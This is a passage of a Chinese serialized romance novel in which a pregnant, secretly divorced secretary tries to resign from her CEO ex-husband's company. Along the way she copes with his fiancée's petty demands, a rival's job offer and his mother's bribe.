他没来得及看里面内容就接到电话出国了,回来后那文件早已不翼而飞,他把这茬忘了。 “您没看到吗?”沈渺察觉到不对。 贺忱吐出烟圈,静默数秒道,“辞职理由。” 沈渺眸光微闪,“分公司总经理的职位不太适合我,历经半年我还不能适应。” “那就调回来。”贺忱薄唇轻启吐出五个字,凝了她一眼,“以后有事直接说,别兜圈子。” “我不是这个意思。”沈渺没想到他会误会,“我……” 不断有员工进出餐厅,开门的瞬间阵阵油烟味传来。 不等说完,一股恶心涌上来,她迅速捂住嘴,转身进了一旁的洗手间。 不到两个月,正是孕吐严重的时候。 每次都吐不出什么,但很难受。 沈渺加速整理好状态,从卫生间出来,却不见了贺忱的踪影。 “沈秘书,你出来了。”林昭站在贺忱方才站的地方,正在发消息,“我正安排人事部把你调回来,趁着午休你把办公用品从分公司拿回来,下午就能正常上班了。” 沈渺心里‘咯噔’一声,没想到贺忱已经下命令了。 “你先别安排,我还没跟贺总谈完!” 她转身朝餐厅走去。 林昭手上动作一顿,“贺总不在餐厅,程小姐说西餐厅的厨子味道不怎么样,贺总带她出去用餐了,而且我已经安排好了。” 7.贺总,我是来提离职的 沈渺脚步顿住,她呼吸一滞面色逐渐凝重。 “怎么了?”林昭不解,“不是你让贺总把你调回来的吗?” 沈渺摇头,“不是,我是来提离职的。” 林昭倒吸一口凉气,“离职?为什么啊!” “个人原因。”沈渺言简意赅,她又说,“调回来的命令还能撤回吗?” “撤也要经过贺总允许啊!”林昭一脸为难。 沈渺抬手捏了捏眉心,心底生出一股无力。 林昭安慰她,“临近年关公司最忙了,离职的事情年后再说吧,赶紧去收拾东西,这不刚回来就有任务了,程小姐让你下午上班时给她带一杯奶茶。” “知道了。”沈渺只能点头,转身去分公司收拾东西。 下午一点,她准时出现在总裁秘书的岗位上。 将东西都放好,她拿着一杯杨枝甘露进入办公室。 午后阳光浓郁,倾洒在贺忱身上。 他穿着白色衬衫,精致的五官棱角分明,透着一股矜贵和威严。 程唯怡坐在休息区的沙发上,茶几放满了零食。 见沈渺进来,贺忱只是看了一眼便敛回目光继续忙。 沈渺朝程唯怡走过去,“程小姐,您要的奶茶。” “放下吧。”程唯怡摆弄着指甲,带着一股傲然。 将奶茶放下,沈渺转身离开。 回到工位上,没等整理好桌面,内线被打通。 贺忱低沉的嗓音传来,“你进来。” 沈渺放下手上东西,再次进入办公室。 推门而入,入目依旧先是落座在办公桌前的贺忱。 他轻撩了下眼皮,看了眼程唯怡。 沈渺顺着他目光看过去,与程唯怡不满的眼神对上。 “你买的奶茶,为什么是热的?” “现在是冬天,您要喝凉的吗?” 沈渺微微颔首道。 程唯怡轻哼了声,“当然。” 闻言,沈渺下意识看向贺忱,却见男人端坐在办公桌前,无动于衷。 “那我现在去买凉的。” 片刻,沈渺带了一杯冰杨枝甘露回来。 程唯怡却迟迟未接,而是问,“你要的少冰还是多冰?” “程小姐想要什么冰,这就是什么冰。”沈渺把杨枝甘露放在她面前,“您慢用。” “你——” 被沈渺钻了话语空子,程唯怡气愤不已,“那你再去给我买薯片!” “除了薯片,程小姐还有别的想吃的吗?我一并带回来,省得您还要等。” 沈渺从口袋里拿过便签纸,准备记下程唯怡要买的东西。 “贺忱哥!”程唯怡瞪她一眼,起身朝贺忱走过去,“你看她……” 始终专注工作的男人这才抬起眼眸,他看了眼腕表后,面色无奈。 “晚上有酒会,我这里还有工作没处理完,别闹。” 程唯怡眼珠子一骨碌,指着沈渺说,“那让她陪我去选礼服吧。” 贺忱沉吟片刻,拿出一张黑卡,递给沈渺。 “带程小姐去选礼服,顺便自己也选一套。” 沈渺微微拧着眉,却只能将卡接过来,“是。” 以往她陪贺忱出席宴会,礼服妆造都由公司报销。 毕竟最便宜的礼服,也要几万块钱。 程唯怡身份不一样,她点名去京北有名的私人妆造工作室。 半小时后,沈渺将车停好。 她从车上下来,绕到后座把车门打开。 “拿着。” 蓝粉色的包包率先映入眼帘,是当下国际品牌最新款。 沈渺接过包,待程唯怡出来后,她关上车门,跟在程唯怡后面朝室内走去。 提前预约过的缘故,早有妆造师在门口等着。 “程小姐!” 程唯怡看了对方一眼,暗戳戳地使了个眼色。 妆造师下意识看了沈渺一眼,会心一笑,暗暗点着头。 “把你们店里的最新款给我拿出来。” 程唯怡扭动身姿走进去,在沙发上坐下。 店里几个人围着她转,拿礼服的,看妆造效果图的,端茶倒水切果盘,还有一盘小点心。 沈渺看了一圈店内挂的琳琅满目的礼服,这地方最便宜的礼服也要六位数。 她正准备去看看价格,选个不太过分的。 却听程唯怡说,“沈秘书,过来。” 沈渺步伐微转,朝程唯怡走过去,将包递给她。 “站在这儿,乱跑什么。”程唯怡筛选着妆造效果图,头也不抬的命令。 静默数秒,沈渺伸出去递包的手缩回来,一言不发的站在程唯怡身后。 足足两个小时,程唯怡选好礼服,做好妆造。 她每做一件事情,都会丢给沈渺一句‘你在这儿站着,别乱跑’。 沈渺不急,反正礼服一定要选,耽误的都是工作时间,带薪站着比工作轻松多了。 终于,程唯怡全部折腾好后,朝她看过来。 “去把你们店里最便宜的礼服拿出来。” 妆造师会心一笑,给助理使了个眼色。 没几秒,助理拿出一件黑色打底,装饰着灰色和橙黄色彩带的礼服。 难看两个字,不足以形容这件礼服。 尤其近看,五颜六色的彩带和粗糙的针线缝合处,更不忍直视。 沈渺的眉头不由得拧起。 “程小姐对你已经够好的了,这件礼服要四十二万呢。” 妆造师整理着程唯怡的礼服,还不忘阴阳沈渺两句。 四十二万,确实不便宜。 沈渺从来没有买过这么贵的礼服,哪怕公司报销。 “花贺忱哥的钱,就得听我的。要是不满意,你自己掏钱买啊,只要你买得起就行!” 程唯怡在镜子里瞥她一眼。 她穿着浅紫色的小礼服,精致的妆造令她看起来贵气又艳美。 沈渺若穿着这套礼服站到程唯怡身边,就像跳梁小丑。 “好了,就这样吧。” 程唯怡满意的看着镜子里的自己,“买单。” 前台将两件礼服的账单拿过来,交到沈渺手上。 沈渺深吸一口气,拿出卡将两件礼服,全部买单。 “那你还做妆造吗。”妆造师敷衍的问了句。 “不用了。”沈渺头也不回的答了句。 她买好单,接过礼服,拎着程唯怡的包,率先走出店里。 程唯怡瞥了她一眼,然后朝妆造师会心一笑。 回去的路上,沈渺接到贺忱打来的电话,“时间来不及了,直接去酒店。” “好。”沈渺颔首,将车原地掉头,直奔酒店。 酒会正式开始前五分钟,她将车停在门口。 林昭在门口等着,见她们来了,将后座车门打开。 “贺忱哥呢?”程唯怡下车问。 “有个合作商在,贺总先一步进去了。” 说话间,林昭看到沈渺还没换衣服,面露诧异,“沈秘书,你怎么还没换衣服?” 沈渺点了下头,“你先带程小姐进去,我马上就来。” 她拎着礼服从车上下来。 准备朝酒店里走去的程唯怡得意的看了她一眼,踩着高跟鞋阔步离开。 “什么情况?”林昭察觉到两人之间气氛不对劲,云里雾里。 沈渺摇摇头,低声说了句,“我这两天感冒吃药,不能喝酒,等会儿你跟着贺总应酬吧。” 她与林昭一直分工合作,一个负责应酬一个负责开车。 “行。”林昭答应,先一步折回宴会厅内。 沈渺低头看了看那件礼服,抿动唇瓣不过几秒,抬脚朝酒店里面走去。 8.来跟我,给你开双倍工资 酒会厅内。 贺忱所到之处,皆是一片簇拥。 他与几个商圈前辈交谈着,还不断有人上前来打招呼。 “贺忱哥。”程唯怡走到他身边,挽上了他臂弯。 贺忱胳膊一僵,稍纵即逝才恢复如常,“来得正好,给你介绍一下,这位是钱伯伯。” 程唯怡小鸟依人般站在贺忱身边,朝着贺忱介绍的人甜甜一笑,“钱伯伯好,我早就听我爸提过您的名讳,今天总算见到了。” “你小时候,我还抱过你呢……”钱总与程唯怡寒暄着。 那端,贺忱四处看了两眼,不见沈渺踪影,他眉头一皱。 “贺忱哥。”程唯怡扯了扯他衣袖,“他们都打趣我,问我们什么时候结婚。” 话题不知何时,扯到了这件事情上。 贺忱唇角轻勾着,只是那笑意未达眼底,“快了,到时候一定要来喝喜酒。” 霎时,周围的人都聚拢过来,你一言我一语的恭喜。 虽是商业酒会,可扒着贺忱这商业金字塔尖儿的人物,聊到私事也令气氛一度达到顶峰。 不知人群里谁喊了一声,“贺总,那是你秘书吗!?” 那人语气惊叹又诧异。 众人循声望去,看到沈渺时皆是一同惊叹着。 只见沈渺穿着黑色礼服,礼服的斜肩吊带愈发衬得锁骨精致。 她将礼服上缝合的那些彩带全部拆除,一部分针眼太大的索性剪开,露出大半个后背。 细细的腰肢配上美丽的蝴蝶骨,若隐若现的白皙皮肤,让她在肃谨中散发出丝丝风情。 就算礼服被动过手脚,但大品牌的压箱底货,也是经久不衰的经典。 她只化了淡妆,乌黑的长发披散着,显出几分气场。 朝贺忱走去时,周围的人自动让开一条路。 “贺总。” 她站在贺忱面前,那份气势褪去几分。 肤白貌美又聪慧的样子,看起来与气质矜贵的男人很是般配。 相比之下,程唯怡逊色不少! 浅紫色的小礼服,显得她十分小气,与贺忱的气息完全不符。 察觉到所有人注意力都被沈渺吸引,程唯怡紧紧攥着拳头,指甲都快陷入肉里。 贺忱低垂着眼眸睨她一眼,面色略有不满。 许是怪沈渺抢了程唯怡风头。 沈渺站到他身后,低垂着眼帘不再吭声。 “我们继续。”贺忱将手中杯盏抬了抬,与身边的人碰杯后,继续谈起工作的事情。 没一会儿,林昭过来,沈渺将一份文件交给他,悄无声息退场。 贺忱再发现身边换了人时,酒会已经过半了。 他退场,全程由林昭挡酒,目光却是不自觉地扫视会场…… 沈渺悄无声息退场,找了个角落待着。 她目光三不五时地落在贺忱与程唯怡身上。 他们并肩站在一起,分外刺眼。 终于,沈渺提一口气,转身准备离开,眼不见为净。 不远处突然一阵嘈杂。 一个穿着花衬衫的男人,在一群人的簇拥下阔步而来。 男人手里拿着一杯高浓度伏特加,一出场就吸引了不少人的目光。 方才与贺忱打过招呼的人又纷纷迎上去,与那人打招呼。 何之洲,何家长子,贺忱的死对头。 每次在酒场遇上何之洲都会找贺忱的事。 但他不是贺忱的对手,所以他退而求其次,开始为难贺忱的人。 例如,沈渺。 沈渺转身换了个方向,打算从后门走。 何之洲却一眼就看到了她,推开正在应酬的人,快步追过来。 沈渺刚出宴会厅,就被他堵在角落里了。 “呦,沈渺,我还以为我看错了呢。” 贺忱属于人狠话不多,骨相生的好皮囊精致有型。 而何之洲则属于五官精致漂亮,但废话贼多,有些欠揍。 “你不是被‘打入冷宫’了吗,怎么又回来了?” 沈渺是贺忱的得力助手,商圈的人都认识她。 半年前她突然调到分公司做总经理,明升实降,不少人都猜忌她是犯了什么错。 “工作需要。” 沈渺颔首回答了他的问题,“何总,我还有事先走了。” 何之洲手肘撑在墙上,拦住她去路,“瞧你们贺总忙的,我想打招呼都没机会,你替他敬我一杯。” 他夺走沈渺手里的温水,顺手递过来一杯红酒,“要喝光哦。” 何家在京北仅次于贺家,何之洲在这儿也算跺跺脚抖三抖的人物。 以前沈渺被他灌过酒,图个面和,都没拒绝。 可今天—— “何总,我身体不舒服喝了药,不能喝酒。” 这套说辞,何之洲根本不信。 “看你红光满面,哪里像生病的?怎么?你们贺总交代过了?是打算跟我彻底撕破脸?” 咄咄逼人的气息迎面而来,何之洲都快把酒杯递到沈渺嘴边了。 若沈渺再拒绝,他能干出捏开沈渺的嘴灌酒的事情。 宴会厅的门开着,从他们的角度刚好能看到贺忱。 贺忱转眸间,刚好也看到他们。 几个人的目光撞在一起,不过片刻男人狭长的眼眸微眯了下,又移开淡定自若的应酬。 “瞧瞧,贺忱根本不顾你的死活,只顾跟他的童养媳秀恩爱,这样的上司你跟着他干什么?” 何之洲又看向沈渺,“我都替你心寒。” 沈渺声音有些哑,“何总说笑了,我只是他的下属,怎么能跟程小姐比。” “不如这样吧。”何之洲弯了弯腰,跟她平视,“你来跟我,我给你开双倍的薪资。” 沈渺点头附和,“您愿意挖我是我的荣幸。” 何之洲是顺毛驴,越是呛着越没完。 下一秒,她面前多出来一张名片。 “拿着这张名片,去九洲报道。” 沈渺抬头,对上何之洲含笑的眼眸。 他虽然在笑,却是认真的。 挖走沈渺,何之洲就狠狠打了贺忱的脸。 这是他这辈子,第一次落贺忱的面子。 所以他当然认真! 可他越认真,沈渺就越不能直接拒绝,不然会被他缠死。 沈渺将名片接过来,低头道,“谢谢何总给我机会。” “不用谢,沈秘书长的漂亮能力出众,这都是你应得的。” 何之洲实话实说,他是真欣赏沈渺。 在他的注视下,沈渺将他的名片放入了包中。 “谢谢何总夸奖。” 何之洲满意地笑了,“等你哦。” 他转身回宴会厅,谁知一扭头就看到贺忱站在不远处。 9.打算好我们接下来去哪儿 “贺忱,你不太行啊。” 何之洲摊开双手,笑着朝贺忱走过去,“你的秘书看起来迫不及待想离开你呢。” 贺忱修长的身子抵着墙,指缝里夹着一根缓慢燃着的烟支。 他轻飘飘的目光在沈渺身上扫过,落在落地窗外一片阴郁的天色上。 “滚。” 他薄唇里溢出来一个字。 何之洲笑意不减,将搭在他肩上的手拿开,双手举过头顶投降状。 “好好好,贺总好威风,你们聊。” 他冲沈渺露出一个灿烂的笑容,“别怕,天塌了我给你撑着。” 何之洲摆明看热闹不嫌事大。 贺忱看似面色如常,他沉如漩涡的双眸,早已透露出他此刻的不悦。 长廊安静下来,沈渺站在离贺忱三米远的地方。 她看着他将一根烟抽完,烟雾缭绕着他俊朗的五官。 “贺总。”沈渺开了口,“我接他的名片只是为了尽早摆脱他的纠缠。” 贺忱深吸一口烟,将烟蒂丢入垃圾桶。 他眉尾一挑,嗓音淡漠,“是吗。” 沈渺黑白分明的眼眸闪过一抹诧异,未料到他会是这个态度。 半信半疑? “嗯。”她点了点头,并未解释。 “贺总。”宴会厅内传来一道声音,“程小姐找你呢。” 贺忱站直身体,跺了跺脚挺括的西装熨贴在他身上。 他转身进入宴会厅。 沈渺跟了他两步,还想说什么。 但程唯怡拎着裙摆匆匆跑过来,扑到贺忱怀里。 “贺忱哥,他们都在打趣我,说我是你的童养媳。” 这个‘他们’是指一群商二代,贺忱与程唯怡共同的朋友。 贺忱眸光一深,语气涔涔,“走,我替你出气。” 沈渺眼皮轻颤,黑白分明的眸光一下黯淡下来。 她后退两步,转身朝停车场走去。 酒会过半,程唯怡不愿应酬,与一群商二代坐在一起闲聊。 贺忱却还脱不开身,来敬酒的人络绎不绝。 与此同时,何之洲身边也围满了人。 比起贺忱的低调内敛,何之洲张扬肆意,与人谈笑风生,字里行间还提到了沈渺。 只字片语落入贺忱耳中,贺忱的眸光渐渐锐利。 “最近何之洲挺闲。” 林昭低声说,“听说何之洲正在接触一个政圈项目,八九不离十了。” 贺忱眉尾一挑,目光深沉。 “去了解一下。” 林昭一怔,很快反应过来迅速将酒杯放下,“是。” 他转身离开宴会厅,打电话调查政圈项目。 不出十分钟,政圈项目的所有资料都拿到手。 “与政府合作,九洲就像被增加了一圈光环,听说何之洲将利润降到最低了,就图个光彩。” 贺忱拿过资料翻看了几页,合起递回给林昭,“既然是政府项目,就不该有利润,就当为国家做贡献了。” 林昭接过文件,一时没反应过来他什么意思。 直到贺忱又说,“连夜准备项目书,明天一早就政圈项目召开会议。” “是!” 这些年,贺忱与何之洲虽然不合。 但是贺忱一向懒得与何之洲计较。 像今天这种主动抢项目的事情,更是前所未有。 林昭揣着疑惑,还是按照他吩咐,立刻下达命令到项目部。 深夜十一点,酒会结束。 沈渺将车开到酒店门口等着。 林昭喝了不少,贺忱直接安排他在酒店住下。 所以只有贺忱与程唯怡从酒店里出来,沈渺迅速下车开车门。 她已经换下礼服,穿着黑色包臀裙,白色的衬衫扣着一枚粉钻衬衫夹。 下来得急,她没穿灰色呢大衣,风一吹领口大开,露出性感精致的锁骨。 程唯怡心底顿时危机骤增,她拉着贺忱停下。 “贺忱哥,我困了。” 以往他们替贺忱挡酒,贺忱都会先将他们送回家,自己再开车回去。 贺忱一只手扶着车门,“你先上车。” 将她送车上,贺忱关了车门,沉声吩咐,“你打车回去。” “是。”沈渺一张口,胸腔被冷风灌满,身体冰冷。 她绕到驾驶位,将外套和公文包拿下来,退到一旁。 程唯怡将车窗落下,似笑非笑看着沈渺。 “贺忱哥,沈秘书是女孩子,这么晚了会不会不安全啊?” 贺忱站在驾驶位旁,听到她的话看向沈渺。 沈渺站在风里,风吹的衬衫贴着她身体,细细的腰肢一手可握。 巴掌大的小脸五官精致小巧,在深夜这样的一个人,令人看了就会有犯罪的冲动。 贺忱眉头一拢,合格上司让他无法把沈渺丢下不管。 但—— 沈渺淡然一笑,“谢谢程小姐关心,正规出租车不会有事的。” “那我们走吧,贺忱哥。”程唯怡立刻将车窗升上去。 “再见。”沈渺脸上始终挂着得体的笑容。 听到她答应,贺忱弯腰上了车。 隔着车窗,沈渺看着程唯怡朝他凑过去,叽叽喳喳的不知说着什么。 迈巴赫驶离原地,卷起的冷风吹散了沈渺的长发。 她走到街边等出租车,等了十几分钟也没等来,只能叫网约车。 又等了近半小时,沈渺才上网约车。 半小时后,她抵达住处。 爬楼回家时,接到了商音打来的电话。 “渺儿,离职办妥了没有,我已经打算好我们接下来去哪儿了。” 商音与她一样,孤儿院出身。 两人关系极好,好到沈渺离开京北,商音也要跟着走。 “去哪儿啊。”沈渺爬楼有些气喘吁吁。 “去坤成,一年四季如春,适合我养娃,适合你坐月子,你那边完事咱们直接去坤成过春节。” 商音都有收拾东西立马走的打算了。 沈渺给她泼了一盆冷水,“估计要年后,我的辞职报告非但没批下来,现在还回总部做贺忱秘书了。” 那端静默数秒,商音尖叫,“他要订婚的消息满天飞,还把你安排回去,想脚踏两条船啊!沈渺你千万要冷静,不能被他迷的没有道德底线了!” “你想多了,年底事情多,可能赶上贺忱心情不好,所以驳回了我的离职申请。” 沈渺并不认为,自己在贺忱心里特殊,特殊到不让她走。 不过是她工作能力超纲,贺忱用着顺手,能帮他解决很多问题罢了。 10.贺忱哥,你凶我! “我们可真可怜,要看别人心情办事。”商音提醒她,“我就怕你离他近了又着迷,反正你自己考虑,越早走越好,再迟一些被他发现怀孕你就惨了。” 沈渺自然知道这个道理,她想到一件事,“你去帮我抓点止孕吐的中药吧。” 商音孕吐严重,连饭都吃不下去,找了个老中医吃中药治好的。 “行,明天我给你送过去。”商音一边与她说一边哄孩子,“乖儿子,给你干妈送止吐药,让她给你生个童养媳啊。” 沈渺不禁轻笑,“别带我干儿子出来,外面太冷了。” “谁说不是呢,冷得我都没办法穿那些好看的衣服出门……” 京北的冬季让商音想逃离这个地方。 而京北的贺忱,让沈渺想逃离。 她们都铁了心要离开。 距离年关,还有两周。 沈渺打算找机会,再跟贺忱提离职的事情。 她年前提,可以年后再走,免得年后提离职还要再等一个月的工作交接期才能走。 她都第二次提了,贺忱应该不会再强留她。 谁知次日一早,刚到公司,沈渺就被拎进会议室,开与政圈项目有关的会议。 这个项目是九洲势在必得的,沈渺关注过。 都已经快板上钉钉的合作,百荣非要插一脚。 短时间内做项目书,找合作商,又要与政圈的人见面。 一时间,贺忱忙的底朝天。 沈渺跟着忙得脚不沾地,别说提离职,她连喝口水的功夫都没有。 下午,三点。 “沈渺,你去给我买杯拿铁咖啡。” 程唯怡打通内线,吩咐完直接挂电话,都不听沈渺回应。 此刻办公室里只有程唯怡一个人。 贺忱忙,她不好当着贺忱的面儿折腾沈渺。 但那天被沈渺抢风头的事情,她一肚子气没出。 所以专门挑着贺忱不在的时候,使唤沈渺。 沈渺手上有个很重要的工作要处理,必须在下班前赶出来。 她沉吟片刻,起身下楼,直奔咖啡厅。 “麻烦给我一杯热牛奶。”沈渺点完单,找了个位置坐下,拨通贺忱的电话。 电话很快被接起,男人低沉的嗓音响起。 “什么事。” 沈渺知道他在开会,她为难道,“打扰贺总开会了,程小姐让我帮她买咖啡,她想喝的口味没有了,贺总能不能帮我问问她要换什么口味?” 电话那端,一阵死寂。 “另外,您要的文件可能要晚一些才能赶出来。”沈渺意有所指,她忙着伺候程唯怡,连工作都耽误了。 贺忱沉吟片刻吐出几个字,“你回来。” “好。”沈渺应声,挂了电话。 恰好她的热牛奶好了,她拎着回公司。 刚出电梯,就听见办公室里传来一阵哭泣。 “贺忱哥,你凶我?我就是想喝杯咖啡,怎么了?” “我没有凶你的意思,你想要什么换个人去买,她要处理工作。”男人的声音带着几分无奈。 程唯怡哼哼唧唧,“那你为什么不能换个秘书?我就想让她给我买!” “现在换人来不及,你若非要用她,等我找个人把她替换下来。” 贺忱发脾气的样子大家都见过。 但他一忍再忍妥协,谁都没见过。 那两年沈渺跟他那般亲密,都没见他这个样子过。 秘书办的人拔长了脖子看过来。 奈何只开了半扇门的办公室,只能传出他们的声音,看不到任何画面。 沈渺在电梯出口僵了一会儿,才回到工位上坐下。 刚落座,办公室的另外半扇门猛地被推开。 程唯怡眼含泪花跑出来,手里的包包摔摔打打,将沈渺桌上的热牛奶碰到地上。 她却头也不回地走了。 牛奶在地毯上晕染开,冒着热气。 沈渺起身将牛奶杯捡起来,又用纸张将多余的奶水吸干。 黑色的皮鞋突然映入眼帘,笔挺的裤管熨贴着男人修长的双腿。 一道暗影打下来,笼罩着沈渺。 沈渺将垃圾丢入垃圾桶里,才站起来。 “贺总,给您添麻烦了。” 贺忱的脸色不怎么好,许是刚和程唯怡吵架的缘故。 而沈渺是令他们吵架的罪魁祸首。 “你跟林昭去开会,晚上向我汇报,我还有事先走了。” 他臂弯里搭着黑色的西装外套,手里拿着车钥匙。 显然,是要去追程唯怡的。 沈渺点头,“好。” 贺忱匆匆离开,头也不回地走了。 —— 程唯怡从百荣出来,直奔贺家。 她抵达贺家时,明黎艳刚午睡起来,与贺家二老在客厅闲聊。 她一来,贺老夫人的脸上就没了笑容。 看到程唯怡是红着眼眶来的,明黎艳那叫一个心疼。 “唯怡,怎么了这是?谁欺负你了?” 她朝程唯怡张开双手,程唯怡立马扑到她怀里。 “伯母,贺忱哥欺负人。” 明黎艳当即沉了脸,“他怎么欺负你了,你跟我说!” 程唯怡巧妙地避开沈渺工作忙的重要环节,只说她让沈渺买杯咖啡,贺忱就不乐意了。 “就一个秘书,别说给你买咖啡,就是给你提鞋,又有什么不可的?” 明黎艳一听事情跟沈渺有关,当即心里就不痛快了。 她转而一想,又发现不对,“沈渺不是在分公司吗?她到总部去做什么?” 程唯怡故作委屈,“她不想在分公司了,申请回调,贺忱哥同意了。” 明黎艳当即一脸怒气,“真是太过分了!她当初自己要走,现在又要回来,一个小秘书把自己当成什么了!?” “你那么大嗓门干什么?”贺老夫人拧眉,不满道,“到底怎么回事问问你的好儿子不就知道了?” “妈,这事儿就是沈渺的错,跟贺忱有什么关系?” 明黎艳一直不满贺老夫人偏袒沈渺,今日话题到这儿,她索性敞开了说。 “当初要不是你们同意,我哪能让沈渺进贺家的门?她一个小秘书爬床心思昭然若揭!” 贺老夫人背脊一挺,“是你儿子睡了人家,要对人家负责的!” 明黎艳一噎,她不明白能用钱打发的女人,贺忱为什么要搞得这么复杂。 她话锋一转,换了话题。 “那不说这些,就说她现在挑拨贺忱跟唯怡的关系,她想干什么?” 程唯怡适时宜地吸吸鼻子,一脸委屈。 “公司是工作的地方,唯怡你不工作就算了还整天去添乱,年底工作繁忙,贺忱能不着急吗?” 始终沉默的贺老爷子开了口,他征战商场几十年,带着几分气势。 11.哄准未婚妻开心 明黎艳从未顶撞过贺老爷子,不论贺老爷子对错。 但她也不能眼睁睁看着程唯怡受委屈。 更不能让沈渺破坏程唯怡跟贺忱! “唯怡,你跟我来。” 她拉着程唯怡起身上楼。 贺老夫人瞥了两人的背影一眼,长叹道,“我看跟程家的这趟浑水,越来越浑了。” “气大伤身。”贺老爷子安抚她,“是福是祸都是你孙子自己选的,别太为他担心。” “我才不担心他。”贺老夫人又是一声叹息,“我只担心渺渺,她跟贺忱离婚,今年春节是不是又要一个人过……” 沈渺在他们心里是令人心疼的。 在程唯怡和明黎艳心里,是可恨的。 “伯母,对不起我是不是让你为难了?”程唯怡被贺老爷子说了两句,反而安慰起明黎艳来。 明黎艳愈发觉得她懂事,“放心,你跟贺忱的事情还是我说了算。” 程唯怡轻咬着嘴唇,点头,“当初都是我不好,跟贺忱哥闹了别扭出国,不然贺忱哥也不会娶别人,现在才添了这么多麻烦。” “我看把订婚日期提前,也早点结婚,一切就都尘埃落定了。” 明黎艳想快刀斩乱麻。 “我,我都听你们的。”程唯怡红着脸,羞答答的,说完她又拧起眉,“就是沈渺那边,我不知道她到底想干什么?” “沈渺交给我。” 明黎艳语气突然沉了许多。 —— 沈渺与林昭替贺忱将接下来的会议开完,已经到了下班时间。 而她原本的工作还未处理完,只能留下来加班。 七点钟,华灯初上。 秘书办已经黑了灯,顶楼只剩沈渺一个人。 她埋头奋战一堆数据时,商业娱乐新闻词条突然蹦出来。 【百荣掌事人贺总大手笔包下整个游乐场,哄准未婚妻开心。】 图片上,游乐场的灯光五彩缤纷。 程唯怡穿着天蓝色的羽绒服,被贺忱搂在怀里。 她仰着头,他低着头,他们鼻尖相抵。 身后是漫天的烟花。 只是一张图片,沈渺却仿佛听到了现场的热闹,听到了程唯怡的笑声,还有贺忱哄她时的柔声嗓音。 “我就知道,你还不死心。” 一道声音突然传来。 沈渺恍惚间回神,抬头才看到明黎艳站在她办公桌旁边。 而她电脑上,是那则贺忱与程唯怡的新闻。 她关掉页面站起来,“明董。” “沈渺,你开个价,怎么样才能离开贺忱。”明黎艳从包里拿出一张支票。 只要沈渺说个数,她立马写上。 “明董,我跟贺总已经离婚了,我现在只是一个秘书,不存在于‘离不离开他’的问题。” 沈渺面色淡然,没有一丝为了钱动容的迹象。 明黎艳冷笑一声。 “你申请调回来干什么?不就是知道他们要订婚了,你后悔离婚了,想纠缠贺忱吗!” 沈渺摇头,“不是。” 她态度再坚决,明黎艳也不信。 “那你留下来图什么?换了旁人我给一笔钱早就走了!” 沈渺知道,只要她开口三百万五百万,明黎艳都给。 那些钱够她和孩子衣食无忧。 可她一声不吭消失,不是正式离职,会入商圈黑名单。 未来她总不能靠着这几百万混吃等死养孩子,不工作了。 “明董放心,我有自知之明,不会留在百荣碍贺总和程小姐,还有您的眼,所以我打算辞职,只是临近年关工作较忙,我还没找到合适的机会开口。” 明黎艳探究的目光打量她,“你真这么想?” 沈渺点头,“当然,过完春节我就向贺总提出辞呈,只有正常解约才不会影响我找下一份工作。” “那行,我就给你几天时间。” 明黎艳将支票收起来,她看沈渺的目光依旧很冷,“今天贺忱与唯怡为你吵了架,我不希望这样的事情再发生。” 沈渺颔首,“我知道程小姐看我不顺眼,也请您转告程小姐,我只是贺总的秘书,请她别再为难我。” 她如此低眉顺眼,将话说得很明。 明黎艳面色总算浮上几抹满意。 之所以能容忍沈渺在贺忱身边待了两年,是她发现沈渺识趣。 “我丑话说在前头,你要是敢背着我耍小心思,我不会放过你的。” 想到程唯怡受了委屈的样子,明黎艳还是没给沈渺好话。 沈渺低着头应声,“好。” 明黎艳转身离开,高跟鞋发出‘咯哒咯哒’的声音。 许是明黎艳的转达起了作用。 之后,程唯怡都没再找沈渺麻烦。 贺忱把周芸调到程唯怡身边,程唯怡想买什么都让她去跑腿。 年前,政圈项目下了定论,被百荣拿下了。 先前九洲即将与政圈合作的新闻传得沸沸扬扬,一下变成了小丑。 腊月二十六,项目庆功宴。 贺忱心情不错,给参与政圈项目的每个人都准备了红包。 沈渺也有,拿了贺忱的钱,她却动了提离职的念头。 毕竟此刻贺忱的心情好,而她离开的事情不能再拖了。 不然,明黎艳那边交代不过去。 她看着坐在主位的贺忱。 男人被一盏冷白的灯光笼罩,骨节分明的手端着酒杯,唇角轻勾,正听项目部经理说着什么。 他时不时点一下头,与前来敬酒的人推杯换盏。 “沈秘书。”林昭端着杯盏过来,“这段时间辛苦你了,幸好你回来了,不然我要忙成陀螺了。” 沈渺端着牛奶起身,却见林昭杯中是果汁,“这么高兴的日子,你不喝酒?” 林昭看了贺忱一眼,“等会儿我要送贺总回去。” “你喝吧,等会儿我送贺总回家。” 酒局过半,气氛依旧高涨,沈渺压根找不到机会单独跟贺忱说话。 送贺忱回家,是个不错的机会。 林昭不跟她客气,当即放下果汁拿了酒杯上了酒桌。 但是沈渺没想到,贺忱喝得有些多。 餐厅门口,沈渺将车停稳,看着林昭把贺忱扶上来。 贺忱坐在后座上,眼尾泛红,微睁了一条缝隙的眸子透出几分迷离。 他视线落在沈渺身上,她肤色凝白,愈发衬得那张樱桃小嘴红润,泛着光泽。 “贺总,您系一下安全带。” 沈渺嗓音柔柔的,落入男人耳中,让男人呼吸一滞。 12.一个吻让她乱的彻底 始终没得到回应,沈渺只能下车,绕到后面帮他系安全带。 她细长的胳膊绕过他身体,乌发盘在耳后,几缕碎发散在两鬓。 身上一股淡淡的馨香,充斥在贺忱的鼻翼间。 他的眼皮掀了掀,落在她白净精致的小脸上。 许是他的目光太过凝重,沈渺手上的动作一顿,眼皮颤了颤看向他。 四目相对,男人眼眸宛若漩涡,快要将人吸进去那般深邃。 沈渺呼吸一滞。 刺耳的车鸣声划破寂静的夜晚。 沈渺回了神,她迅速将安全带系好,关上车门,折回驾驶位。 她发动引擎驱车离开,走出去好远的路才敢往后视镜里看一眼。 贺忱靠着椅背,闭着双眼呼吸浅薄规律,像是睡着了。 不过是醉酒时的一个眼神,竟是让沈渺凌乱了。 沈渺沉了沉呼吸,一脚油门踩到最底。 贺忱极少喝多,酒精上头的滋味令他头脑发胀。 方才短暂的接触,像是一根羽毛轻轻扫过他胸膛。 沈渺身上那股熟悉的气息,勾起他内心深处压制许久的躁动。 恍惚间那股馨香弥漫在贺忱的鼻翼间。 贺忱捏了捏眉心,眼睛睁开一条缝,恰好能看到沈渺漂亮的侧脸。 殷红的唇瓣明亮的眼眸,轮廓堪称完美的脸颊,无一不刺激着酒精上头的男人。 不知过了多久,汽车停下来。 沈渺下车,绕到后座开车门,解开贺忱的安全带。 “贺总,到家了。” 贺忱身形微动,从车上下来,却一个踉跄。 沈渺下意识张开双手扶住他,却是撞入他胸膛。 